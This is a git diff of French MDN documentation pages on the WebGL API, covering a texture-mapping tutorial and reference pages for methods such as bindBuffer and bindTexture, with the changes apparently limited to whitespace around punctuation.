2 // par rapport aux images non puissances de 2 ; aussi vérifier si l'image est une - // puissance de 2 sur chacune de ses dimensions. + // puissance de 2 sur chacune de ses dimensions. if (isPowerOf2(image.width) && isPowerOf2(image.height)) { // Oui, c'est une puissance de 2. Générer les mips. gl.generateMipmap(gl.TEXTURE_2D); } else { // Non, ce n'est pas une puissance de 2. Désactiver les mips et définir l'habillage - // comme "accrocher au bord" + // comme "accrocher au bord" gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR); @@ -73,15 +73,15 @@ Le code qui charge la texture ressemble à ce qui suit : return (value & (value - 1)) == 0; } -La routine `loadTexture()` commence par créer un objet texture WebGL `texture` en appelant la fonction WebGL {{domxref ("WebGLRenderingContext.createTexture()", "createTexture()")}}. Il téléverse ensuite un seul pixel bleu en utilisant {{domxref ("WebGLRenderingContext.texImage2D()", "texImage2D()")}}. Cela rend la texture immédiatement utilisable comme une couleur bleue unie, alors que cela peut prendre quelques instants pour télécharger notre image. +La routine `loadTexture()` commence par créer un objet texture WebGL `texture` en appelant la fonction WebGL {{domxref ("WebGLRenderingContext.createTexture()", "createTexture()")}}. Il téléverse ensuite un seul pixel bleu en utilisant {{domxref ("WebGLRenderingContext.texImage2D()", "texImage2D()")}}. Cela rend la texture immédiatement utilisable comme une couleur bleue unie, alors que cela peut prendre quelques instants pour télécharger notre image. -Pour charger la texture à partir du fichier image, elle crée ensuite un objet Image et en affecte le src à l'URL de l'image que nous souhaitons utiliser comme texture. La fonction que nous affectons à `image.onload` sera appelée une fois terminé le téléchargement de l'image. À ce stade, nous appelons à nouveau {{domxref ("WebGLRenderingContext.texImage2D()", "texImage2D()")}}, cette fois en utilisant l'image comme source pour la texture. Après cela, nous configurons le filtrage et l'habillage de la texture suivant que l'image que nous téléchargeons a ou non une puissance de 2 selon ses deux dimensions. +Pour charger la texture à partir du fichier image, elle crée ensuite un objet Image et en affecte le src à l'URL de l'image que nous souhaitons utiliser comme texture. La fonction que nous affectons à `image.onload` sera appelée une fois terminé le téléchargement de l'image. À ce stade, nous appelons à nouveau {{domxref ("WebGLRenderingContext.texImage2D()", "texImage2D()")}}, cette fois en utilisant l'image comme source pour la texture. Après cela, nous configurons le filtrage et l'habillage de la texture suivant que l'image que nous téléchargeons a ou non une puissance de 2 selon ses deux dimensions. -WebGL1 ne peut utiliser que des textures non puissances de 2 avec d'un filtrage défini à NEAREST ou LINEAR, et il ne peut pas générer de mipmap pour elles. Leur mode d'habillage doit également être défini à CLAMP_TO_EDGE. Inversement, si la texture est une puissance de 2 dans les deux dimensions, alors WebGL peut faire un filtrage de meilleure qualité, il peut utiliser mipmap, et il peut définir le mode d'habillage à REPEAT ou MIRRORED_REPEAT. +WebGL1 ne peut utiliser que des textures non puissances de 2 avec d'un filtrage défini à NEAREST ou LINEAR, et il ne peut pas générer de mipmap pour elles. Leur mode d'habillage doit également être défini à CLAMP_TO_EDGE. Inversement, si la texture est une puissance de 2 dans les deux dimensions, alors WebGL peut faire un filtrage de meilleure qualité, il peut utiliser mipmap, et il peut définir le mode d'habillage à REPEAT ou MIRRORED_REPEAT. -Un exemple de texture répétée est le pavage d'une image par quelques briques pour couvrir un mur de briques. +Un exemple de texture répétée est le pavage d'une image par quelques briques pour couvrir un mur de briques. -Le mipmapping et la répétition UV peuvent être désactivés avec {{domxref ("WebGLRenderingContext.texParameter()", "texParameteri()")}}. Cela permettra des textures non-puissances-de-deux (NPOT) au prix du mipmapping, de l'habillage UV, du pavage UV, et de votre contrôle sur la manière dont le périphérique gérera votre texture. +Le mipmapping et la répétition UV peuvent être désactivés avec {{domxref ("WebGLRenderingContext.texParameter()", "texParameteri()")}}. Cela permettra des textures non-puissances-de-deux (NPOT) au prix du mipmapping, de l'habillage UV, du pavage UV, et de votre contrôle sur la manière dont le périphérique gérera votre texture. // gl.NEAREST est aussi permis, au lieu de gl.LINEAR, du fait qu'aucun ne fait de mipmap. gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR); @@ -90,16 +90,16 @@ Le mipmapping et la répétition UV peuvent être désactivés avec {{domxref (" // Empêcher l'habillage selon la coordonnée t (répétition). gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE); -A nouveau, avec ces paramètres, les appareils WebGL compatibles accepteront automatiquement toute résolution pour cette texture (jusqu'à leurs dimensions maximum). A défaut de la configuration ci-dessus, WebGL requiert que tous les échantillons de textures NPOT échouent, en retournant du noir transparent : `rgba (0,0,0,0)`. +A nouveau, avec ces paramètres, les appareils WebGL compatibles accepteront automatiquement toute résolution pour cette texture (jusqu'à leurs dimensions maximum). A défaut de la configuration ci-dessus, WebGL requiert que tous les échantillons de textures NPOT échouent, en retournant du noir transparent : `rgba (0,0,0,0)`. -Pour charger l'image, ajoutons un appel à notre fonction `loadTexture()` dans notre fonction `main()`. Cela peut être ajouté après l'appel `initBuffers(gl)`. +Pour charger l'image, ajoutons un appel à notre fonction `loadTexture()` dans notre fonction `main()`. Cela peut être ajouté après l'appel `initBuffers(gl)`. // Charger la texture const texture = loadTexture(gl, 'cubetexture.png'); -## Application de la texture sur les faces +## Application de la texture sur les faces -À ce stade, la texture est chargée et prête à être utilisée. Mais avant de pouvoir l'utiliser, nous devons définir l'application des coordonnées de texture aux sommets des faces de notre cube. Cela remplace tout le code précédemment existant pour la configuration des couleurs pour chacune des faces du cube dans `initBuffers()`. +À ce stade, la texture est chargée et prête à être utilisée. Mais avant de pouvoir l'utiliser, nous devons définir l'application des coordonnées de texture aux sommets des faces de notre cube. Cela remplace tout le code précédemment existant pour la configuration des couleurs pour chacune des faces du cube dans `initBuffers()`. const textureCoordBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, textureCoordBuffer); @@ -149,17 +149,17 @@ Pour charger l'image, ajoutons un appel à notre fonction `loadTexture()` dans Tout d'abord, ce code crée un tampon WebGL dans lequel nous stockerons les coordonnées de texture pour chaque face, puis nous lions ce tampon comme étant le tableau dans lequel nous allons écrire. -Le tableau `textureCoordinates` définit les coordonnées de texture correspondant à chaque sommet de chaque face. Notez que les coordonnées de texture vont de 0,0 à 1,0 ; les dimensions des textures sont normalisées dans une plage de 0,0 à 1,0 quelque soit leur taille réelle, aux fins d'application de la texture. +Le tableau `textureCoordinates` définit les coordonnées de texture correspondant à chaque sommet de chaque face. Notez que les coordonnées de texture vont de 0,0 à 1,0 ; les dimensions des textures sont normalisées dans une plage de 0,0 à 1,0 quelque soit leur taille réelle, aux fins d'application de la texture. -Une fois que nous avons mis en place le tableau d'application de la texture, nous l'envoyons dans le tampon, de sorte que WebGL ait ces données prêtes pour son utilisation. +Une fois que nous avons mis en place le tableau d'application de la texture, nous l'envoyons dans le tampon, de sorte que WebGL ait ces données prêtes pour son utilisation. ## Mise à jour des shaders -Le programme shader doit également être mis à jour pour utiliser des textures au lieu de couleurs unies. +Le programme shader doit également être mis à jour pour utiliser des textures au lieu de couleurs unies. -### Le shader de sommet +### Le shader de sommet -Nous avons besoin de remplacer le shader de sommet de façon à ce qu'au lieu de récupérer des données de couleur, il récupère à la place des données de coordonnées de texture. +Nous avons besoin de remplacer le shader de sommet de façon à ce qu'au lieu de récupérer des données de couleur, il récupère à la place des données de coordonnées de texture. const vsSource = ` attribute vec4 aVertexPosition; @@ -176,9 +176,9 @@ Nous avons besoin de remplacer le shader de sommet de façon à ce qu'au lieu } `; -Le changement clé est ici qu'au lieu d'aller chercher la couleur du sommet, nous récupérons les coordonnées de la texture, et nous les transmettons au shader de sommet ; ceci indiquera l'emplacement dans la texture correspondant au sommet. +Le changement clé est ici qu'au lieu d'aller chercher la couleur du sommet, nous récupérons les coordonnées de la texture, et nous les transmettons au shader de sommet ; ceci indiquera l'emplacement dans la texture correspondant au sommet. -### Le shader de fragment +### Le shader de fragment Le shader de fragment doit également être mis à jour : @@ -192,7 +192,7 @@ Le shader de fragment doit également être mis à jour : } `; -Au lieu d'attribuer une valeur de couleur à la couleur du fragment, la couleur du fragment est calculée en récupérant le **texel** (c'est-à-dire, le pixel dans la texture) sur la base de la valeur de `vTextureCoord`, qui est interpolée comme les sommets. +Au lieu d'attribuer une valeur de couleur à la couleur du fragment, la couleur du fragment est calculée en récupérant le **texel** (c'est-à-dire, le pixel dans la texture) sur la base de la valeur de `vTextureCoord`, qui est interpolée comme les sommets. ### Emplacements des attributs et des uniformes @@ -211,7 +211,7 @@ Du fait que nous avons changé un attribut et ajouté un uniforme, nous devons r }, }; -## Dessin du cube texturé +## Dessin du cube texturé Les modifications apportées à la fonction `drawScene()` sont simples. @@ -229,7 +229,7 @@ Tout d'abord, le code pour spécifier le tampon de couleurs a disparu, remplacé gl.enableVertexAttribArray(programInfo.attributeLocations.textureCoord); } -Ajoutez alors le code pour spécifier la texture à appliquer sur les faces, juste avant de dessiner : +Ajoutez alors le code pour spécifier la texture à appliquer sur les faces, juste avant de dessiner : // Indiquer à WebGL que nous voulons affecter l'unité de texture 0 gl.activeTexture(gl.TEXTURE0); @@ -240,9 +240,9 @@ Ajoutez alors le code pour spécifier la texture à appliquer sur les faces, ju // Indiquer au shader que nous avons lié la texture à l'unité de texture 0 gl.uniform1i(programInfo.uniformLocations.uSampler, 0); -WebGL fournit un minimum de 8 unités de texture ; la première d'entre elles est `gl.TEXTURE0`. Nous indiquons à WebGL que nous voulons affecter l'unité 0. Nous appelons alors {{domxref ("WebGLRenderingContext.bindTexture()", "bindTexture()")}}, qui lie la texture au point de liaison `TEXTURE_2D` de l'unité de texture 0. Nous indiquons alors au shader que pour l'`uSampler`, il faut utiliser l'unité de texture 0. +WebGL fournit un minimum de 8 unités de texture ; la première d'entre elles est `gl.TEXTURE0`. Nous indiquons à WebGL que nous voulons affecter l'unité 0. Nous appelons alors {{domxref ("WebGLRenderingContext.bindTexture()", "bindTexture()")}}, qui lie la texture au point de liaison `TEXTURE_2D` de l'unité de texture 0. Nous indiquons alors au shader que pour l'`uSampler`, il faut utiliser l'unité de texture 0. -Finalement, ajoutez `texture` comme paramètre de la fonction `drawScene()`, où elle est à la fois définie et appelée. +Finalement, ajoutez `texture` comme paramètre de la fonction `drawScene()`, où elle est à la fois définie et appelée. drawScene(gl, programInfo, buffers, texture, deltaTime); ... @@ -252,19 +252,19 @@ Arrivés ce point, le cube en rotation devrait être prêt à fonctionner. {{EmbedGHLiveSample('webgl-examples/tutorial/sample6/index.html', 670, 510) }} -[Voir le code complet](https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample6) | [Ouvrir cette démo dans une nouvelle page](http://mdn.github.io/webgl-examples/tutorial/sample6/) +[Voir le code complet](https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample6) | [Ouvrir cette démo dans une nouvelle page](http://mdn.github.io/webgl-examples/tutorial/sample6/) ## Textures inter-domaines -Le chargement des textures WebGL est soumis aux contrôles d'accès inter-domaines. Pour que votre contenu puisse charger une texture d'un autre domaine, une approbation CORS doit être obtenue. Voir le [Contrôle d'accès HTTP](/fr/docs/HTTP/Access_control_CORS) pour plus de détails sur CORS. +Le chargement des textures WebGL est soumis aux contrôles d'accès inter-domaines. Pour que votre contenu puisse charger une texture d'un autre domaine, une approbation CORS doit être obtenue. Voir le [Contrôle d'accès HTTP](/fr/docs/HTTP/Access_control_CORS) pour plus de détails sur CORS. Voir cet [article sur hacks.mozilla.org](http://hacks.mozilla.org/2011/11/using-cors-to-load-webgl-textures-from-cross-domain-images/) pour une explication de l'utilisation des images approuvées CORS comme textures WebGL, avec [un exemple complet](http://people.mozilla.org/~bjacob/webgltexture-cors-js.html). -> **Note :** le support CORS pour les texture WebGL et l'attribut `crossOrigin` pour les éléments image est implémenté dans {{Gecko("8.0")}}. +> **Note :** le support CORS pour les texture WebGL et l'attribut `crossOrigin` pour les éléments image est implémenté dans {{Gecko("8.0")}}. -Les canevas 2D dégradés (en écriture seule) ne peuvent pas être utilisés comme des textures WebGL. Un {{HTMLElement ("canvas")}} 2D devient dégradé par exemple lorsqu'il est utilisé pour dessiner une image inter-domaine. +Les canevas 2D dégradés (en écriture seule) ne peuvent pas être utilisés comme des textures WebGL. Un {{HTMLElement ("canvas")}} 2D devient dégradé par exemple lorsqu'il est utilisé pour dessiner une image inter-domaine. -> **Note :** le support CORS pour `drawImage` de Canvas 2D est implémenté dans {{Gecko ("9.0")}}. Cela signifie que l'utilisation d'une image inter-domaine ayant l'approbation CORS ne dégrade plus le canevas 2D, de sorte que le canevas 2D reste utilisable comme source d'une texture WebGL. +> **Note :** le support CORS pour `drawImage` de Canvas 2D est implémenté dans {{Gecko ("9.0")}}. Cela signifie que l'utilisation d'une image inter-domaine ayant l'approbation CORS ne dégrade plus le canevas 2D, de sorte que le canevas 2D reste utilisable comme source d'une texture WebGL. > **Note :** le support CORS pour les vidéos inter-domaines et l'attribut `crossorigin` pour les éléments {{HTMLElement ("video")}} est implémenté dans {{Gecko ("12.0")}}. diff --git a/files/fr/web/api/webgl_api/types/index.md b/files/fr/web/api/webgl_api/types/index.md index 1b345e92f1..7b6fab68e7 100644 --- a/files/fr/web/api/webgl_api/types/index.md +++ b/files/fr/web/api/webgl_api/types/index.md @@ -9,11 +9,11 @@ translation_of: Web/API/WebGL_API/Types --- {{WebGLSidebar}} -Les types suivants sont utilisés dans les interfaces [WebGL](/fr-FR/docs/Web/API/WebGL_API). +Les types suivants sont utilisés dans les interfaces [WebGL](/fr-FR/docs/Web/API/WebGL_API). ## WebGL 1 -Ces types sont utilisés à l'intérieur d'un {{domxref("WebGLRenderingContext")}}. +Ces types sont utilisés à l'intérieur d'un {{domxref("WebGLRenderingContext")}}. <table class="standard-table"> <tbody> @@ -26,7 +26,7 @@ Ces types sont utilisés à l'intérieur d'un {{domxref("WebGLRenderingContext" <td><code>GLenum</code></td> <td><code>unsigned long</code></td> <td> - Utilisé pour les enums. Voir aussi la liste des <a + Utilisé pour les enums. Voir aussi la liste des <a href="/fr-FR/docs/Web/API/WebGL_API/Constants" >constantes</a >. @@ -108,7 +108,7 @@ Ces types sont utilisés à l'intérieur d'un {{domxref("WebGLRenderingContext" ## WebGL 2 -Ces types sont utilisés à l'intérieur d'un {{domxref("WebGL2RenderingContext")}}. Tous les types WebGL 1 sont également utilisés. +Ces types sont utilisés à l'intérieur d'un {{domxref("WebGL2RenderingContext")}}. Tous les types WebGL 1 sont également utilisés. <table class="standard-table"> <tbody> @@ -127,7 +127,7 @@ Ces types sont utilisés à l'intérieur d'un {{domxref("WebGL2RenderingContext ## Extensions WebGL -Ces types sont utilisés à l'intérieur des [extensions WebGL](/fr-FR/docs/Web/API/WebGL_API/Using_Extensions). +Ces types sont utilisés à l'intérieur des [extensions WebGL](/fr-FR/docs/Web/API/WebGL_API/Using_Extensions). <table class="standard-table"> <tbody> @@ -150,7 +150,7 @@ Ces types sont utilisés à l'intérieur des [extensions WebGL](/fr-FR/docs/Web | -------------------------------------------------------------------------------- | ------------------------------------------------ | ---------------------------------- | | {{SpecName('WebGL', "#5.1", "Types")}} | {{Spec2('WebGL')}} | Définition initiale | | {{SpecName('WebGL2', "#3.1", "Types")}} | {{Spec2('WebGL2')}} | Définit des types supplémentaires. | -| {{SpecName('EXT_disjoint_timer_query', "", "GLuint64EXT")}} | {{Spec2('EXT_disjoint_timer_query')}} | Ajoute `GLuint64EXT` | +| {{SpecName('EXT_disjoint_timer_query', "", "GLuint64EXT")}} | {{Spec2('EXT_disjoint_timer_query')}} | Ajoute `GLuint64EXT` | ## Voir aussi diff --git a/files/fr/web/api/webglbuffer/index.md b/files/fr/web/api/webglbuffer/index.md index 3ab7690e25..d11165008d 100644 --- a/files/fr/web/api/webglbuffer/index.md +++ b/files/fr/web/api/webglbuffer/index.md @@ -57,4 +57,4 @@ var tampon = gl.createBuffer(); - {{domxref("WebGLRenderingContext.createBuffer()")}} - {{domxref("WebGLRenderingContext.deleteBuffer()")}} - {{domxref("WebGLRenderingContext.isBuffer()")}} -- Autres tampons : {{domxref("WebGLFramebuffer")}}, {{domxref("WebGLRenderbuffer")}} +- Autres tampons : {{domxref("WebGLFramebuffer")}}, {{domxref("WebGLRenderbuffer")}} diff --git a/files/fr/web/api/webglprogram/index.md b/files/fr/web/api/webglprogram/index.md index c102390862..d3b200dd19 100644 --- a/files/fr/web/api/webglprogram/index.md +++ b/files/fr/web/api/webglprogram/index.md @@ -8,7 +8,7 @@ translation_of: Web/API/WebGLProgram --- {{APIRef("WebGL")}} -Le **WebGLProgram** fait partie de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) et il est une combinaison de deux {{domxref ("WebGLShader")}} compilés constitués d'un shader de sommet et d'un shader de fragment (tous deux écrits en GLSL). Ces dernier sont ensuite liés dans un programme utilisable. +Le **WebGLProgram** fait partie de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) et il est une combinaison de deux {{domxref ("WebGLShader")}} compilés constitués d'un shader de sommet et d'un shader de fragment (tous deux écrits en GLSL). Ces dernier sont ensuite liés dans un programme utilisable. ```js var programme = gl.createProgram(); @@ -25,13 +25,13 @@ if ( !gl.getProgramParameter( programme, gl.LINK_STATUS) ) { } ``` -Voir {{domxref("WebGLShader")}} pour des informations sur la création de `shaderDeSommet` et de `shaderDeFragment` dans le programme ci-dessus. +Voir {{domxref("WebGLShader")}} pour des informations sur la création de `shaderDeSommet` et de `shaderDeFragment` dans le programme ci-dessus. ## Exemples -### Utilisation du programme +### Utilisation du programme -Les étapes pour travailler effectivement avec le programme impliquent d'indiquer à la GPU d'utiliser le programme, de lier les données et les options de configuration appropriées, et enfin, de dessiner quelque chose à l'écran. +Les étapes pour travailler effectivement avec le programme impliquent d'indiquer à la GPU d'utiliser le programme, de lier les données et les options de configuration appropriées, et enfin, de dessiner quelque chose à l'écran. ```js // Utiliser le programme @@ -46,9 +46,9 @@ gl.vertexAttribPointer(attributeLocation, 3, gl.FLOAT, false, 0, 0); gl.drawArrays(gl.TRIANGLES, 0, 3); ``` -### Suppression du programme +### Suppression du programme -S'il y a une erreur lors de l'édition de liens du programme, ou si vous voulez supprimer un programme existant, alors c'est tout simple, il suffit d'exécuter {{domxref ("WebGLRenderingContext.deleteProgram()")}}. Cela libère la mémoire du programme lié. +S'il y a une erreur lors de l'édition de liens du programme, ou si vous voulez supprimer un programme existant, alors c'est tout simple, il suffit d'exécuter {{domxref ("WebGLRenderingContext.deleteProgram()")}}. Cela libère la mémoire du programme lié. ```js gl.deleteProgram(programme); diff --git a/files/fr/web/api/webglrenderingcontext/activetexture/index.md b/files/fr/web/api/webglrenderingcontext/activetexture/index.md index 86065baf61..27b4e23422 100644 --- a/files/fr/web/api/webglrenderingcontext/activetexture/index.md +++ b/files/fr/web/api/webglrenderingcontext/activetexture/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/WebGLRenderingContext/activeTexture --- {{APIRef("WebGL")}} -La méthode **`WebGLRenderingContext.activeTexture()`** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) indique quelle unité de texture doit être rendue active. +La méthode **`WebGLRenderingContext.activeTexture()`** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) indique quelle unité de texture doit être rendue active. ## Syntaxe @@ -20,7 +20,7 @@ La méthode **`WebGLRenderingContext.activeTexture()`** de l'[API WebGL](/fr-F ### Paramètres - `texture` - - : L'unité de texture à rendre active. La valueur est une `gl.TEXTUREI` où *I* est dans la plage de 0 à`gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS - 1`. + - : L'unité de texture à rendre active. La valueur est une `gl.TEXTUREI` où *I* est dans la plage de 0 à`gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS - 1`. ### Valeur retournée @@ -28,23 +28,23 @@ Aucune. ### Exceptions -Si *texture* n'est pas l'une des `gl.TEXTUREI`, où *I* est dans la plage de 0 à`gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS - 1`, une erreur `gl.INVALID_ENUM` est déclenchée. +Si *texture* n'est pas l'une des `gl.TEXTUREI`, où *I* est dans la plage de 0 à`gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS - 1`, une erreur `gl.INVALID_ENUM` est déclenchée. ## Exemples -L'appel suivant choisit `gl.TEXTURE1` comme texture en cours. Les appels suivants qui modifient l'état de la texture affecteront cette texture. +L'appel suivant choisit `gl.TEXTURE1` comme texture en cours. Les appels suivants qui modifient l'état de la texture affecteront cette texture. ```js gl.activeTexture(gl.TEXTURE1); ``` -Le nombre d'unités de texture dépend de l'implémentation, vous pouvez obtenir ce nombre à l'aide de la constante `MAX_COMBINED_TEXTURE_IMAGE_UNITS`. Il est, de par la spécification, d'au moins 8. +Le nombre d'unités de texture dépend de l'implémentation, vous pouvez obtenir ce nombre à l'aide de la constante `MAX_COMBINED_TEXTURE_IMAGE_UNITS`. Il est, de par la spécification, d'au moins 8. ```js gl.getParameter(gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS); ``` -Pour obtenir la texture en cours, faire une requête sur la constante `ACTIVE_TEXTURE`. +Pour obtenir la texture en cours, faire une requête sur la constante `ACTIVE_TEXTURE`. ```js gl.activeTexture(gl.TEXTURE0); diff --git a/files/fr/web/api/webglrenderingcontext/attachshader/index.md b/files/fr/web/api/webglrenderingcontext/attachshader/index.md index 0cda2deaaa..68bb552030 100644 --- a/files/fr/web/api/webglrenderingcontext/attachshader/index.md +++ b/files/fr/web/api/webglrenderingcontext/attachshader/index.md @@ -8,7 +8,7 @@ translation_of: Web/API/WebGLRenderingContext/attachShader --- {{APIRef("WebGL")}} -La méthode **WebGLRenderingContext.attachShader()** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) attache un {{domxref("WebGLShader")}} de fragment ou de sommet à un {{domxref("WebGLProgram")}}. +La méthode **WebGLRenderingContext.attachShader()** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) attache un {{domxref("WebGLShader")}} de fragment ou de sommet à un {{domxref("WebGLProgram")}}. ## Syntaxe @@ -19,11 +19,11 @@ La méthode **WebGLRenderingContext.attachShader()** de l'[API WebGL](/fr-FR/d - `programme` - : Un {{domxref("WebGLProgram")}}. - `shader` - - : Un {{domxref("WebGLShader")}} de fragment ou de sommet. + - : Un {{domxref("WebGLShader")}} de fragment ou de sommet. ## Exemples -Le code suivant attache des shaders pré-existants à un {{domxref("WebGLProgram")}}. +Le code suivant attache des shaders pré-existants à un {{domxref("WebGLProgram")}}. ```js var programme = gl.createProgram(); diff --git a/files/fr/web/api/webglrenderingcontext/bindbuffer/index.md b/files/fr/web/api/webglrenderingcontext/bindbuffer/index.md index 33c12df96c..8bad4008f2 100644 --- a/files/fr/web/api/webglrenderingcontext/bindbuffer/index.md +++ b/files/fr/web/api/webglrenderingcontext/bindbuffer/index.md @@ -24,7 +24,7 @@ La méthode **`WebGLRenderingContext.bindBuffer()`** de l'[API WebGL](/fr-FR/doc <!----> -- `gl.ARRAY_BUFFER` : tampon contenant des attributs de sommet, tels que des coordonnées de vertex, des données de coordonnées de texture ou des données de couleurs de sommet ; +- `gl.ARRAY_BUFFER` : tampon contenant des attributs de sommet, tels que des coordonnées de vertex, des données de coordonnées de texture ou des données de couleurs de sommet ; - `gl.ELEMENT_ARRAY_BUFFER` : tampon utilisé pour les indices d'éléments ; - Lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL context 2", "", 1)}}, les valeurs suivantes sont disponibles en plus : @@ -38,7 +38,7 @@ La méthode **`WebGLRenderingContext.bindBuffer()`** de l'[API WebGL](/fr-FR/doc <!----> - tampon - - : Un {{domxref ("WebGLBuffer")}} à lier. + - : Un {{domxref ("WebGLBuffer")}} à lier. ### Valeur retournée @@ -46,7 +46,7 @@ Aucune. ### Exceptions -Une seule cible peut être liée à un {{domxref ("WebGLBuffer")}} donné. Une tentative de lier le tampon à une autre cible déclenchera une erreur `INVALID_OPERATION` et la liaison du tampon en cours restera la même. +Une seule cible peut être liée à un {{domxref ("WebGLBuffer")}} donné. Une tentative de lier le tampon à une autre cible déclenchera une erreur `INVALID_OPERATION` et la liaison du tampon en cours restera la même. ## Exemples @@ -81,7 +81,7 @@ gl.getParameter(gl.ELEMENT_ARRAY_BUFFER_BINDING); <tr> <td>{{SpecName('WebGL', "#5.14.5", "bindBuffer")}}</td> <td>{{Spec2('WebGL')}}</td> - <td><p>Définition initiale pour WebGL.</p></td> + <td><p>Définition initiale pour WebGL.</p></td> </tr> <tr> <td> @@ -94,9 +94,9 @@ gl.getParameter(gl.ELEMENT_ARRAY_BUFFER_BINDING); <td>{{SpecName('WebGL2', "#3.7.1", "bindBuffer")}}</td> <td>{{Spec2('WebGL2')}}</td> <td> - <p>Définition mise à jour pour WebGL 2.</p> + <p>Définition mise à jour pour WebGL 2.</p> <p> - Ajoute de nouveaux tampons <code>cible</code> :<br /><code + Ajoute de nouveaux tampons <code>cible</code> :<br /><code >gl.COPY_READ_BUFFER</code >,<br /><code>gl.COPY_WRITE_BUFFER</code>,<br /><code >gl.TRANSFORM_FEEDBACK_BUFFER</code diff --git a/files/fr/web/api/webglrenderingcontext/bindtexture/index.md b/files/fr/web/api/webglrenderingcontext/bindtexture/index.md index fd75432b79..cb41fafb32 100644 --- a/files/fr/web/api/webglrenderingcontext/bindtexture/index.md +++ b/files/fr/web/api/webglrenderingcontext/bindtexture/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/WebGLRenderingContext/bindTexture --- {{APIRef("WebGL")}} -La méthode **`WebGLRenderingContext.bindTexture()`** de l'API WebGL lie la {{domxref("WebGLTexture")}} donnée à une cible (point de liaison). +La méthode **`WebGLRenderingContext.bindTexture()`** de l'API WebGL lie la {{domxref("WebGLTexture")}} donnée à une cible (point de liaison). ## Syntaxe @@ -24,12 +24,12 @@ La méthode **`WebGLRenderingContext.bindTexture()`** de l'API WebGL lie la {{d - : Un {{domxref ("GLenum")}} indiquant le point de liaison (cible). Valeurs possibles : - - `gl.TEXTURE_2D` : une texture bidimensionnelle ; + - `gl.TEXTURE_2D` : une texture bidimensionnelle ; - `gl.TEXTURE_CUBE_MAP` : une texture mappée sur un cube ; - lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, les valeurs suivantes sont en outre disponibles : - `gl.TEXTURE_3D` : une texture tridimensionnelle ; - - `gl.TEXTURE_2D_ARRAY` : une texture en tableau bidimensionnelle. + - `gl.TEXTURE_2D_ARRAY` : une texture en tableau bidimensionnelle. - texture - : Un objet {{domxref ("WebGLTexture")}} à lier. @@ -40,11 +40,11 @@ Aucune. ### Exceptions -Une erreur `gl.INVALID_ENUM` est déclenchée si `cible` n'est pas `gl.TEXTURE_2D`, `gl.TEXTURE_CUBE_MAP`, `gl.TEXTURE_3D`, ou `gl.TEXTURE_2D_ARRAY`. +Une erreur `gl.INVALID_ENUM` est déclenchée si `cible` n'est pas `gl.TEXTURE_2D`, `gl.TEXTURE_CUBE_MAP`, `gl.TEXTURE_3D`, ou `gl.TEXTURE_2D_ARRAY`. ## Exemples -### Liaison d'une texture +### Liaison d'une texture ```js var canevas = document.getElementById('canevas'); @@ -56,7 +56,7 @@ gl.bindTexture(gl.TEXTURE_2D, texture); ### Obtention des liaisons en cours -Pour vérifier la liaison de texture en cours, interrogez les constantes `gl.TEXTURE_BINDING_2D` ou `gl.TEXTURE_BINDING_CUBE_MAP`. +Pour vérifier la liaison de texture en cours, interrogez les constantes `gl.TEXTURE_BINDING_2D` ou `gl.TEXTURE_BINDING_CUBE_MAP`. ```js gl.getParameter(gl.TEXTURE_BINDING_2D); @@ -74,21 +74,21 @@ gl.getParameter(gl.TEXTURE_BINDING_2D); <tr> <td>{{SpecName('WebGL', "#5.14.8", "bindTexture")}}</td> <td>{{Spec2('WebGL')}}</td> - <td><p>Définition initiale pour WebGL.</p></td> + <td><p>Définition initiale pour WebGL.</p></td> </tr> <tr> <td> {{SpecName('OpenGL ES 2.0', "glBindTexture.xml", "glBindTexture")}} </td> <td>{{Spec2('OpenGL ES 2.0')}}</td> - <td><p>Page man de l’API OpenGL ES 2.0 (similaire).</p></td> + <td><p>Page man de l’API OpenGL ES 2.0 (similaire).</p></td> </tr> <tr> <td>{{SpecName('WebGL2', "#3.7.1", "bindTexture")}}</td> <td>{{Spec2('WebGL2')}}</td> <td> Définition mise à jour pour WebGL 2.<br />Ajoute : - <code>gl.TEXTURE_3D</code> et <code>gl.TEXTURE_2D_ARRAY</code> + <code>gl.TEXTURE_3D</code> et <code>gl.TEXTURE_2D_ARRAY</code> </td> </tr> <tr> @@ -96,7 +96,7 @@ gl.getParameter(gl.TEXTURE_BINDING_2D); {{SpecName('OpenGL ES 3.0', "glBindTexture.xhtml", "glBindTexture")}} </td> <td>{{Spec2('OpenGL ES 3.0')}}</td> - <td>Page man de l’API OpenGL ES 3.0 (similaire).</td> + <td>Page man de l’API OpenGL ES 3.0 (similaire).</td> </tr> </tbody> </table> diff --git a/files/fr/web/api/webglrenderingcontext/bufferdata/index.md b/files/fr/web/api/webglrenderingcontext/bufferdata/index.md index acab216dbb..2f9225277d 100644 --- a/files/fr/web/api/webglrenderingcontext/bufferdata/index.md +++ b/files/fr/web/api/webglrenderingcontext/bufferdata/index.md @@ -36,33 +36,33 @@ La méthode **`WebGLRenderingContext.bufferData()`** de l'[API WebGL](/fr-FR/doc - `gl.COPY_READ_BUFFER` : tampon pour la copie d'un objet tampon à un autre ; - `gl.COPY_WRITE_BUFFER` : tampon pour la copie d'un objet tampon à un autre ; - 